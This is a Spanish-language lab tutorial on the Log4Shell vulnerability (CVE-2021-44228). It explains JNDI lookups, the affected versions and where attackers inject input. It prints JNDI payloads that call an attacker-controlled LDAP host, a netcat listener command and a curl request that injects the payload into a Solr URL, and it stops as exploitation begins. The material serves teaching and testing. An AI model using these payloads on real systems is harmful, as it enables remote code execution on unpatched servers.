La vulnerabilidad Log4j, también conocida como "Log4Shell" o "CVE-2021-44228", es una falla de seguridad crítica en la biblioteca Apache Log4j. Log4j es un framework de registro basado en Java ampliamente utilizado que permite a los desarrolladores registrar mensajes de aplicaciones en varios destinos, como archivos, bases de datos y salidas de consola.

La vulnerabilidad fue descubierta en diciembre de 2021 y ha ganado una atención significativa debido a su gravedad y potencial de explotación. Afecta a las versiones 2.x de Log4j y, en algunos casos, incluso a versiones anteriores. La vulnerabilidad Log4j es una vulnerabilidad de ejecución remota de código (RCE, por sus siglas en inglés), lo que significa que un atacante puede ejecutar código arbitrario en un sistema objetivo explotando la falla. La vulnerabilidad es causada por un defecto de diseño en la biblioteca Log4j relacionado con el procesamiento de mensajes de registro que contienen datos especialmente diseñados.

La explotación de la vulnerabilidad depende de la capacidad de inyectar código malicioso en el mensaje de registro. Esto se puede lograr a través de varios vectores, como campos de entrada controlados por el usuario, encabezados de solicitudes HTTP u otros datos proporcionados por el usuario que se pasan a la declaración de registro.

Cuando una aplicación vulnerable procesa un mensaje de registro que contiene los datos especialmente diseñados, Log4j interpreta los datos como una búsqueda en Java Naming and Directory Interface (JNDI). Al explotar este comportamiento, un atacante puede crear un payload que desencadena una búsqueda JNDI hacia un servidor malicioso controlado por el atacante. Este servidor puede responder con un payload que se ejecuta en el sistema objetivo, permitiendo al atacante lograr la ejecución remota de código.

El impacto de la vulnerabilidad Log4j es grave porque Log4j se usa ampliamente en diversas aplicaciones basadas en Java, incluidos servidores web, aplicaciones y servicios en la nube. La vulnerabilidad permite a los atacantes obtener acceso no autorizado a los sistemas afectados, lo que potencialmente conduce a violaciones de datos, compromiso del sistema y una mayor explotación del entorno comprometido.

Hoy, la versión 2.16.0 de log4j está disponible y parchea esta vulnerabilidad (JNDI está totalmente deshabilitado, se elimina el soporte para Message Lookups y la nueva vulnerabilidad DoS CVE-2021-45046 no está presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

Sin embargo, el peligro inmenso de esta vulnerabilidad se debe a lo omnipresente que es el paquete de registro. Millones de aplicaciones, así como proveedores de software, utilizan este paquete como dependencia en su propio código. Si bien usted puede parchear su propio código basado en log4j, otros vendedores y fabricantes aún tendrán que distribuir sus propias actualizaciones de seguridad. Muchos investigadores de seguridad han comparado esta vulnerabilidad con Shellshock por la naturaleza de su enorme superficie de ataque. Veremos esta vulnerabilidad durante años.

Para obtener una lista creciente respaldada por la comunidad de software y servicios vulnerables a CVE-2021-44228, consulte este repositorio de GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)

Si bien hay una serie de otros artículos, blogs, recursos y material de aprendizaje sobre CVE-2021-44228, yo (el autor de este ejercicio) tengo especial preferencia por estos:

El paquete log4j agrega lógica adicional a los registros al "analizar" las entradas, en última instancia para enriquecer los datos, pero también puede tomar acciones e incluso evaluar código basado en los datos de la entrada. Esta es la esencia de CVE-2021-44228. Otra sintaxis puede, de hecho, ejecutarse tal como se ingresa en los archivos de registro. Algunos ejemplos de esta sintaxis son:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

Probablemente ya conozca el payload general para abusar de esta vulnerabilidad log4j. El formato de la sintaxis habitual que aprovecha esto se ve así:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Esta sintaxis indica que log4j invocará funcionalidad desde "JNDI", o la "Java Naming and Directory Interface". En última instancia, esto se puede utilizar para acceder a recursos externos, o "referencias", que es lo que se utiliza como arma en este ataque.

Observe el esquema "ldap://". Esto indica que el objetivo se comunicará con un endpoint (una ubicación controlada por el atacante, en el caso de este ataque) a través del protocolo LDAP. Por razones de brevedad, no necesitaremos cubrir todos los pormenores y detalles de LDAP aquí, pero sepa que es algo con lo que tendremos que trabajar a medida que refinamos nuestro ataque. Por ahora, sepa que el objetivo de hecho hará una conexión a una ubicación externa. Esto se indica mediante el marcador de posición ATTACKERCONTROLLEDHOST en la sintaxis anterior. Usted, actuando como atacante en este escenario, puede alojar un simple listener para ver esta conexión.

La siguiente pregunta es, ¿dónde podríamos ingresar esta sintaxis? En cualquier lugar que tenga datos registrados por la aplicación.

Este es el meollo de esta vulnerabilidad. Desafortunadamente, es muy difícil determinar dónde está la superficie de ataque para diferentes aplicaciones y, por lo tanto, qué aplicaciones son de hecho vulnerables. Simplemente ver la presencia de archivos log4j no revela el número de versión exacto, ni siquiera dónde o cómo la aplicación podría usar el paquete.

Otros lugares donde podría suministrar esta sintaxis JNDI:

Campos de entrada, formularios de inicio de sesión de usuario y contraseña, puntos de entrada de datos dentro de las aplicaciones
Encabezados HTTP como User-Agent, X-Forwarded-For u otros encabezados personalizables
Cualquier lugar para datos proporcionados por el usuario

Si desea más información sobre este vector de ataque JNDI, revise esta presentación de Black Hat USA de 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

Para preparar su entorno para probar la vulnerabilidad y recibir una conexión, vea la dirección IP de su propia máquina atacante con el siguiente comando: user@host$ ip addr show
Prepare un listener de netcat en cualquier puerto de su elección (9999 es un buen ejemplo): user@host$ nc -lnvp 9999
Ahora que tiene un listener preparado, realice una solicitud que incluya esta sintaxis de payload JNDI primitiva como parte de los parámetros HTTP. Esto se puede hacer fácilmente con la utilidad de línea de comandos curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' Nota: debido al uso del carácter de signo de dólar $ en su sintaxis, debe asegurarse de envolver la URL entre comillas simples para que bash (su shell de línea de comandos) no la interprete como una variable. Además, debe escapar las llaves { } con un solo carácter de barra invertida, para que no se representen incorrectamente en los argumentos del comando curl.
Verifique que ha recibido una conexión viendo el siguiente mensaje en su listener de netcat: Connection received from <x.x.x.x>

Explotación En este punto, ha verificado que el objetivo es de hecho vulnerable al ver esta conexión capturada en su listener de netcat. Sin embargo, realizó una solicitud LDAP... así que todo lo que su listener de netcat puede haber visto fueron caracteres no imprimibles (bytes de aspecto extraño). Ahora podemos construir sobre esta base para responder con un manejador LDAP real.

Log4j_CVE-2021-44228

Más Populares